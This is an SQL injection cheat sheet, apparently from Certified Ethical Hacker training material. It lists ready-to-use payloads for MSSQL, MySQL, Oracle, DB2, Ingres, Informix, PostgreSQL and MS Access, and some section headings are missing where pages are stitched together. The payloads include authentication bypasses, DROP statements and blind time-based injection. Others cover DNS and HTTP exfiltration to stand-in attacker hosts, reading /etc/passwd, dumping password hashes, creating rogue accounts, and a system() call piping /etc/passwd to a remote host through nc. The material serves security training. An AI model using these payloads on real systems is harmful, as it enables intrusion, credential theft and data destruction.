SQL Injection Cheat Sheet
SQL Injection Cheat Sheet
Databases:
1. MSSQL
2. MySQL
3. ORACLE
4. IBM-DB2 SQL
5. INGRES SQL
6. INFORMIX
7. POSTGRESQL
8. MS ACCESS
1. MSSQL Database
Query Command
▪ SELECT @@VERSION;
Version
— This command obtains the OS/Windows version of the system.
▪ SELECT user_name();
— This command obtains a name of recently logged in user.
▪ SELECT system_user;
— This command obtains the current value of system_user.
Current User ▪ SELECT user;
— This command obtains the name of impersonated user.
▪ SELECT loginname FROM master..sysprocesses WHERE spid =
@@SPID;
— This command obtains the column name loginname from table
master..sysprocesses having spid=@@SPID.
▪ SELECT header, txt FROM news UNION ALL SELECT name, pass
FROM members
— With union you can do SQL queries cross-table. Basically, you can
Union poison query to return records from another table. This above
Injections example will combine results from both news table and members
table and return all of them.
▪ Another Example:
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
▪ DROP sampletable;--
▪ DROP sampletable;#
Log in as Admin Username: admin'--
User SELECT * FROM members WHERE username = 'admin'--' AND password =
'password'
— Using this command, you can log in as admin user.
Server Name Malicious Query to retrieve server name and configuration in a network
and ▪ ' and 1 in (select @@servername)--
Configuration ▪ ' and 1 in (select servername from sys.sysservers)--
▪ ?vulnerableParam=1;DECLARE @x as int;DECLARE @w as
char(6);SET @x=ASCII(SUBSTRING(({INJECTION}),1,1));IF @x=100
Time Based SET @w='0:0:14' ELSE SET @w='0:0:01';WAITFOR DELAY @w—
SQLi
{INJECTION} = You want to run the query.
Exploitation
— If the condition is true, will response after 14 seconds. If is false,
will be delayed for one second.
▪ Northwind
▪ Model
Default
▪ Sdb
Databases
▪ pubs — not on sql server 2005
▪ tempdb
▪ SELECT is_srvrolemember(‘securityadmin’);
— This command determines whether a current has ‘securityadmin’
privilege.
▪ SELECT name FROM master..syslogins WHERE denylogin = 0;
— This command obtains column name ‘name’ from table
master..syslogins having denylogin value as 0.
▪ SELECT name FROM master..syslogins WHERE hasaccess = 1;
— This command obtains column name ‘name’ from table
master..syslogins having hasaccess value as 1.
▪ SELECT name FROM master..syslogins WHERE isntname = 0;
— This command obtains column name ‘name’ from table
master..syslogins having isntname value as 0.
▪ SELECT name FROM master..syslogins WHERE isntgroup = 0;
— This command obtains column name ‘name’ from table
master..syslogins having isntgroup value as 0.
▪ SELECT name FROM master..syslogins WHERE sysadmin = 1;
— This command obtains column name ‘name’ from table
master..syslogins having sysadmin value as 1.
▪ SELECT name FROM master..syslogins WHERE securityadmin = 1;
— This command obtains column name ‘name’ from table
master..syslogins having securityadmin value as 1.
▪ SELECT name FROM master..syslogins WHERE serveradmin = 1;
— This command obtains column name ‘name’ from table
master..syslogins having serveradmin value as 1.
▪ SELECT name FROM master..syslogins WHERE setupadmin = 1;
— This command obtains column name ‘name’ from table
master..syslogins having setupadmin value as 1.
▪ SELECT name FROM master..syslogins WHERE processadmin = 1;
— This command obtains column name ‘name’ from table
master..syslogins having processadmin value as 1.
▪ SELECT name FROM master..syslogins WHERE diskadmin = 1;
— This command obtains column name ‘name’ from table
master..syslogins having diskadmin value as 1.
▪ SELECT name FROM master..syslogins WHERE dbcreator = 1;
— This command obtains column name ‘name’ from table
master..syslogins having dbcreator value as 1.
▪ SELECT name FROM master..syslogins WHERE bulkadmin = 1;
— This command obtains column name ‘name’ from table
master..syslogins having bulkadmin value as 1.
These are the commands that has several SQL built-in scalar functions
that can work in SQL implementations
▪ user or current_user, session_user, system_user
Identify User
▪ ' and 1 in (select user ) --
Level Privilege
▪ '; if user ='dbo' waitfor delay '0:0:5 '--
▪ ' union select if( user() like 'root@%',
benchmark(50000,sha1('test')), 'false' );
Retrieves the types of privileges granted on a specific table
List Privileges ▪ SELECT privilege_type FROM
information_schema.role_table_grants WHERE
table_name=<YourTable>;
Provides detailed information about the SQL Server version, product level,
Determine SQL and edition
Server Version ▪ SELECT SERVERPROPERTY('ProductVersion'),
SERVERPROPERTY('ProductLevel'), SERVERPROPERTY('Edition');
Lists all the stored procedures in the current database
List Procedures
▪ SELECT name FROM sys.procedures
Lists all the roles defined in the current database
List Roles
▪ SELECT name FROM sys.database_principals WHERE type = 'R';
2. MySQL Database
Query Command
▪ SELECT @@VERSION;
— This command retrieves the system information of the current
Version installation of SQL Server.
▪ SELECT version();
— This command selects the specific version of a Server.
Malicious query used to interact with a target OS
▪ ' union select 1,load_file('/etc/passwd'),1,1,1;
OS
Malicious commands used to interact with a target OS
Interaction
▪ CREATE FUNCTION sys_exec RETURNS int SONAME 'libudffmwgj.dll';
▪ CREATE FUNCTION sys_eval RETURNS string SONAME 'libudffmwgj.dll';
▪ SELECT user FROM mysql.user;
List Users
— This command lists the column ‘user’ from the table ‘mysql.user’.
▪ SELECT user();
Current — This command obtains the current MySQL user name and hostname.
User ▪ SELECT system_user();
— This command obtains the current value of system_user.
Malicious query used to create database accounts
Creating
Example:
Database
Accounts ▪ INSERT INTO mysql.user (user, host, password) VALUES ('victor',
'localhost', PASSWORD('Pass123'))
▪ SELECT schema_name FROM information_schema.schemata;
for MySQL >= v5.0
List all
Database —This command obtains a column name ‘schema_name’ having a list of
databases from the table ‘schemata table’.
▪ SELECT distinct(db) FROM mysql.db; — priv
Case ▪ SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END;
Statement — This command returns A.
▪ SELECT 1; #comment
— This command is used for writing a comment.
Comments
▪ SELECT /*comment*/1;
— This command is used comment out a statement.
String
▪ SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))
without
— This command returns ‘KLM’.
Quotes
▪ SELECT BENCHMARK(1000000,MD5(‘A’));
Time Delay SELECT SLEEP(5); -- >= 5.0.12
— This command triggers a measurable time delay.
If mysqld (<5.0) is running as root AND you compromise a DBA account you can
execute OS commands by uploading a shared object file into /usr/lib (or
Command similar). The .so file should contain a User Defined Function
Execution (UDF). raptor_udf.c explains exactly how you go about this. Remember to
compile for the target architecture which may or may not be the same as your
attack platform.
Malicious query used to extract data like password hashes from DNS request
▪ select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
DNS
Exfiltration ▪ select
load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c
5c612e747874))
▪ ' UNION ALL SELECT LOAD_FILE('/etc/passwd') --
Load File SELECT LOAD_FILE(0x633A5C626F6F742E696E69)
— This command will show the content of c:\boot.ini.
▪ DROP sampletable;--
▪ DROP sampletable;#
Username : admin'--
Log in as : admin' or '1'='1'--
Admin User SELECT * FROM members WHERE $username = 'admin'--' AND $password
= 'password'
— This command lists all the users from the column ‘members’ having
$username value as ‘admin’ and $password value as ‘password’.
▪ SELECT user, password FROM mysql.user;
— This command retrieves the columns ‘user’ and ‘password‘ from the
table ‘mysql.user’.
▪ SELECT user, password FROM mysql.user LIMIT 1,1;
List
— This command retrieves the columns ‘user’ and ‘password‘ from the
Passwords
table ‘mysql.user’ with LIMIT 1,1.
▪ SELECT password FROM mysql.user WHERE user = 'root';
— This command retrieves the column ‘password‘ from the table
‘mysql.user’ having user value as ‘root’.
List ▪ SELECT host, user, password FROM mysql.user;
Password — This command lists columns ‘host’, ‘user’ and ‘password’ from the table
Hashes ‘mysql.user’.
▪ SELECT * FROM mytable INTO dumpfile '/tmp/somefile';
Bulk Insert
— This command is used to insert a file content to a table.
▪ CREATE USER username IDENTIFIED BY 'password';
Create
— This command creates a username ‘USER’ who authenticates by
Users
password to log on to the database.
Create DB ▪ INSERT INTO mysql.user (user, host, password) VALUES ('name',
Accounts 'localhost', PASSWORD('pass123'))
▪ DROP USER username;
Drop User
— This command drops a username ‘USER’ from the table.
▪ SLEEP(25)--
SELECT BENCHMARK(1000000,MD5('A'));
▪ ProductID=1 OR SLEEP(25)=0 LIMIT 1—
Blind SQL ▪ ProductID=1) OR SLEEP(25)=0 LIMIT 1--
Injection ▪ ProductID=1' OR SLEEP(25)=0 LIMIT 1—
(Time
Based) ▪ ProductID=1') OR SLEEP(25)=0 LIMIT 1--
▪ ProductID=1)) OR SLEEP(25)=0 LIMIT 1—
▪ ProductID=SELECT SLEEP(25)—
— These commands trigger a measurable time delay.
▪ ?vulnerableParam=-99 OR IF((ASCII(MID(({INJECTON}),1,1)) =
Time base 100),SLEEP(14),1) = 0 LIMIT 1—
SQLi {INJECTION} = You want to run the query.
Exploitation — If the condition is true, will response after 14 seconds. If is false, will be
delayed for one second.
Page | 17 Ethical Hacking and Countermeasures Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
SQL Injection Cheat Sheet
3. Oracle Database
Query Command
▪ SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
— This command obtains oracle version and build information.
Version ▪ SELECT version FROM v$instance;
— This command displays the current database information such as
host name, status, startup time, etc.
▪ SELECT username FROM all_users ORDER BY username;
— This command obtains column ‘username’ from the table ‘all_users’
List Users and sort it by username.
▪ SELECT name FROM sys.user$;
— This command obtains column ‘name’ from table ‘sys.user$’.
▪ SELECT user FROM dual
Current User
— This command obtains current user from the table ‘dual’.
▪ SELECT DISTINCT owner FROM all_tables;
List all — This command lists schemas (one per user).
Database — Also queries TNS listener for other databases.
See tnscmd (services | status).
This command is used to create database accounts
▪ CREATE USER victor IDENTIFIED BY Pass123
Create DB TEMPORARY TABLESPACE temp
Accounts DEFAULT TABLESPACE users;
GRANT CONNECT TO victor;
GRANT RESOURCE TO victor;
▪ SELECT global_name FROM global_name;
— This command obtains current user from global_name.
▪ SELECT name FROM v$database;
Current — This command obtains current username from column ‘name’,
Database present in the table ‘v$database’.
▪ SELECT instance_name FROM v$instance;
— This command obtains column ‘instance_name’ from the table
‘v$instance’.
▪ SELECT header, txt FROM news UNION ALL SELECT name, pass FROM
members
— By using union, you can do SQL queries cross-table. Basically, you can
Union poison query to return records from another table and this example will
Injections combine results from both news table and members table and return all
of them.
▪ Another Example:
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
▪ DROP sampletable;--
Username: admin'—
Log in as SELECT * FROM members WHERE username = 'admin'--' AND
Admin User password = 'password'
—This command retrieves all the users from the table ‘members’ where
username is ‘admin’ and password is ‘password’.
Clear SQLi
Tests: ▪ product.asp?id=4
For Boolean ▪ product.asp?id=5-1
SQL ▪ product.asp?id=4 OR 1=1
Injection — These commands can be used as tests for Boolean SQL injection and
and Silent silent attacks.
Attacks
▪ ?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/
sniff.php?sniff='||({INJECTION})||'') FROM DUAL);
— Using this command, sniffer application will save results.
▪ ?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/
'||({INJECTION})||'.html') FROM DUAL);
— Using this command, results will be saved in HTTP access logs
▪ ?vulnerableParam=(SELECT
UTL_INADDR.get_host_addr(({INJECTION})||'.yourhost.com') FROM
Out of Band
DUAL);
Channel
— Using this command, you can sniff DNS resolution requests to
yourhost.com
▪ ?vulnerableParam=(SELECT
SYS.DBMS_LDAP.INIT(({INJECTION})||’.yourhost.com’,80) FROM
DUAL);
— Using this command, you can sniff DNS resolution requests to
yourhost.com
— {INJECTION} = You want to run the query.
Default ▪ SYSTEM
Databases ▪ SYSAUX
Query Command
▪ SELECT service_level FROM table(sysproc.env_get_inst_info()) as
instanceinfo
— This command returns a version of system table.
▪ SELECT getvariable('sysibm.version') FROM sysibm.sysdummy1 --
Version
(v8+)
— This command returns an information on built version of system
table.
If Statement ▪ Seems only allowed in stored procedures. Use case logic instead.
▪ SYSIBM
▪ SYSCAT
Default ▪ SYSSTAT
Databases ▪ SYSPUBLIC
▪ SYSIBMADM
▪ SYSTOOLS
▪ SELECT * FROM sysibmadm.reg_variables WHERE
Location of reg_var_name='DB2PATH';
DB Files
— This command obtains the location of DB files.
▪ select * from syscat.tabauth;
— This command obtains all the users having privileges on a particular
table or view in the database
Privileges
▪ select * from syscat.dbauth where grantee = current user;
— This command obtains the current user having privileges on a
particular table or view in the database.
Page | 27 Ethical Hacking and Countermeasures Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
SQL Injection Cheat Sheet
Query Command
▪ SELECT dbmsinfo('_version');
Version — This command retrieves the system information of the current
installation of SQL Database.
First connect to iidbdb, then
▪ SELECT name, password FROM iiuser;
— This command retrieves the columns ‘name’ and ‘password’ from
List Users
the table ‘iiuser’.
▪ SELECT own FROM iidatabase;
— This command lists the names of users from the table ‘iidatabase’.
▪ select dbmsinfo(‘session_user’);
Current User ▪ select dbmsinfo(‘system_user’);
— These commands return the user id of the current user.
Logging in ▪ $ su - ingres
from $ sql iidbdb
Command * select dbmsinfo(‘_version’); go
Line — This command can be used to log in from command line.
Query Command
▪ SELECT DBINFO('version', 'full') FROM systables WHERE tabid = 1;
— This command retrieves the version and complete information from
the table ‘systables’ having tabid value as ‘1’.
▪ SELECT DBINFO('version', 'server-type') FROM systables WHERE tabid
= 1;
— This command retrieves the version and server information from the
table ‘systables’ having tabid value as ‘1’.
Version
▪ SELECT DBINFO('version', 'major'), DBINFO('version', 'minor'),
DBINFO('version', 'level') FROM systables WHERE tabid = 1;
— This command retrieves the version, major and minor information
from the table ‘systables’ having tabid value as ‘1’.
▪ SELECT DBINFO('version', 'os') FROM systables WHERE tabid = 1;
— This command retrieves the version and OS information from the
table ‘systables’ having tabid value as ‘1’.
▪ SELECT username, usertype, password from sysusers;
List Users — This command lists the usernames, usertype and password from the
table sysusers.
Query Command
▪ SELECT version();
Version — This command obtains the version and built information of a
database.
▪ SELECT usename FROM pg_user;
List Users — This command obtains the column ‘usename’ from the table
‘pg_user’.
▪ SELECT user;
— This command obtains a name of recently logged in user.
▪ SELECT current_user;
— This command obtains a name of current user.
▪ SELECT session_user;
Current User
— This command obtains a name of current session user.
▪ SELECT usename FROM pg_user;
— This command obtains the column ‘usename’ from table ‘pg_user’.
▪ SELECT getpgusername();
— This command obtains the user name in current session.
▪ SELECT pg_sleep(10);
— This command triggers a measurable sleep time.
— In postgres is 8.2+ only.
Time Delay
▪ CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS
‘/lib/libc.so.6′, ‘sleep’ language ‘C’ STRICT; SELECT sleep(10);
— This command is to create your own sleep function.
▪ CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS
Command ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT; — priv
Execution ▪ SELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080′);
— This commands run as postgres/pgsql OS-level user.
▪ Generally, not it is not applicable in postgres. However,
if contrib/dblinkis installed (it isn’t by default) it can be used to
resolve hostnames (assuming you have DBA rights):
▪ SELECT * FROM dblink('host=put.your.hostname.here
Make DNS
user=someuser dbname=somedb', 'SELECT version()') RETURNS
Requests
(result TEXT);
Alternatively, if you have DBA rights you could run an OS-level
command (see below) to resolve hostnames, e.g. “ping
pentestmonkey.net”.
▪ You should add “host” record to the pg_hba.conf file located in the
Remote DATA directory.
Authentication
host all all 192.168.20.0/24 md5;
▪ SELECT pg_read_file('global/pg_auth',0,10000000);
List Passwords
— This command lists passwords from a given database.
▪ SELECT usename, passwd FROM pg_shadow;
List Password
Hashes — This command is used obtain password hashes from a given
database.
▪ To read data from local files, first you should create a temporary file
for that. Read file contents into this table, then read the data from
table.
CREATE TABLE temptable(t text);
COPY temptable FROM 'c:/boot.ini';
Bulk Insert
SELECT * FROM temptable LIMIT 1 OFFSET 0
This functionality needs permissions for the service user who has
been running database service. On default, it is not possible to read
local files on Windows systems because postgres user doesn’t have
read permissions.
▪ SELECT inet_server_addr();
— This command returns db server IP address (or null if using local
Hostname, IP connection).
Address ▪ SELECT inet_server_port();
— This command returns db server IP address (or null if using local
connection)
8. MS ACCESS Database
Query Command
▪ SELECT Name FROM msysobjects WHERE Type = 1;
List Tables — This command retrieves column name ‘Name’ from the table
‘msysobjects’ having type value as ‘1’.
Create DB This command is used to create database accounts
Accounts ▪ CREATE USER victor IDENTIFIED BY 'pass123'
▪ Comment characters are not available in Microsoft Access. However,
it is possible to remove useless part of a query with the NULL char
Query (%00). A query truncation looks like:
Comment
http://localhost/script.asp?id=1’+UNION+SELECT+1,2,3,4+FROM+so
meValidTabName%00;
▪ Apache (PHP):
Fatal error: Uncaught exception 'com_exception' with message
Syntax Error 'Source: Microsoft JET Database Engine Description: [...];
Messages
▪ IIS (ASP):
Microsoft JET Database Engine error '80040e14';
Stacked Query ▪ Stacked queries are not allowed.
▪ Subqueries are supported by MS Access. In the following
example, TOP 1 is used to return one row only:
Sub Query
http://localhost/script.asp?id=1'+AND+(SELECT+TOP+1+'someData'+
FROM+table)%00;
▪ In some cases, it is useful to include in the web application response
Hardcoded the outcome of our UNION SELECT query only, making the hardcoded
Query query returning 0 results. A common trick can be used for our
Returning 0 purpose:
Rows http://localhost/script.asp?id=1'+AND+1=0+UNION+SELECT+1,2,3+F
ROM+table%00;
▪ The ASC operator returns the ASCII value of the character passed as
argument:
ASCII Value
http://localhost/script.asp?id=1'+UNION+SELECT+ASC('A')+FROM+ta
from Char
ble%00;
— This command returns 65, the ASCII value of the character ‘A’.
▪ Database file name (.mdb) can be inferred with the following query:
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].
.mdb File realTable%00;
Name — Where name[i] is a .mdb filename and realTable is an existent table
Guessing within the database. Although MS Access will always trigger an error
message, it is possible to distinguish between an invalid filename and
a valid .mdb filename.
.mdb ▪ Access PassView is a free utility that can be used to recover the main
Password database password of Microsoft Access 95/97/2000/XP or Jet
Cracker Database Engine 3.0/4.0
▪ http://localhost/script.asp?id=1'+GROUP+BY+ID%00;
— As the system will now respond with a slightly different error
message including another field name, we can proceed with the
following:
▪ http://localhost/script.asp?id=1'+GROUP+BY+ID,FIELD2%00;
— Consequently, this process can be repeated several times until all
field names have been uncovered. Note that it is not possible to use
this technique if you are dealing with query like “SELECT * FROM”
▪ The total number of rows in a table can be discovered with the query:
Table Rows ▪ http://localhost/script.asp?id=1'+AND+IIF((SELECT+COUNT(*)+FRO
Counting M+validTableName)=X,1,0)%00;
— In the following, TAB_LEN is the discovered number of rows.
▪ Backslash escaped input filtering can be easily bypassed in MS Access.
Escaping user's inputs by adding backslashes is not enough in order to
Filters Evasion prevent SQL injection as the character ‘\’ is the integer divide
operator. A clever example of bypass has been already discussed
here.
▪ Using our favorite scripting language, it is possible to iterate on all
wordlist items using the query:
http://localhost/script.asp?id=1'+AND+(SELECT+TOP+1+FROM+$wor
dlist)%00;
Table and
— If the $wordlist item exists, the web application should display a
Field Names
standard HTML response.
Brute forcing
▪ Once obtained a valid table name, we can guess a field name in a
similar way:
http://localhost/script.asp?id=1'+AND+(SELECT+TOP+1+FieldName[i
]+FROM+validTableName)%00;
▪ Assuming that we have already discovered the vulnerable ‘id’ field,
the table name and the field name, we can proceed using the
following query:
http://localhost/index.asp?id=IIF((select%20mid(last(username),1,1)
%20 from%20(select%20top%2010%20username%20from%20u
sers))='a',0,'ko');
▪ In a nutshell, the query uses an “if-then” statement in order to trigger
Blind SQL
a “200 OK” in case of success or a “500 Internal Error” otherwise.
Injection
Taking advantage of the TOP 10 operator, it is possible to select the
first ten results. The subsequent usage of LAST allows to consider the
10th tuple only.
▪ On such value, using the MID operator, it is possible to perform a
simple character comparison.
▪ Properly changing the index of MID and TOP, we can dump the
content of the “username” field for all rows.
Page | 41 Ethical Hacking and Countermeasures Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.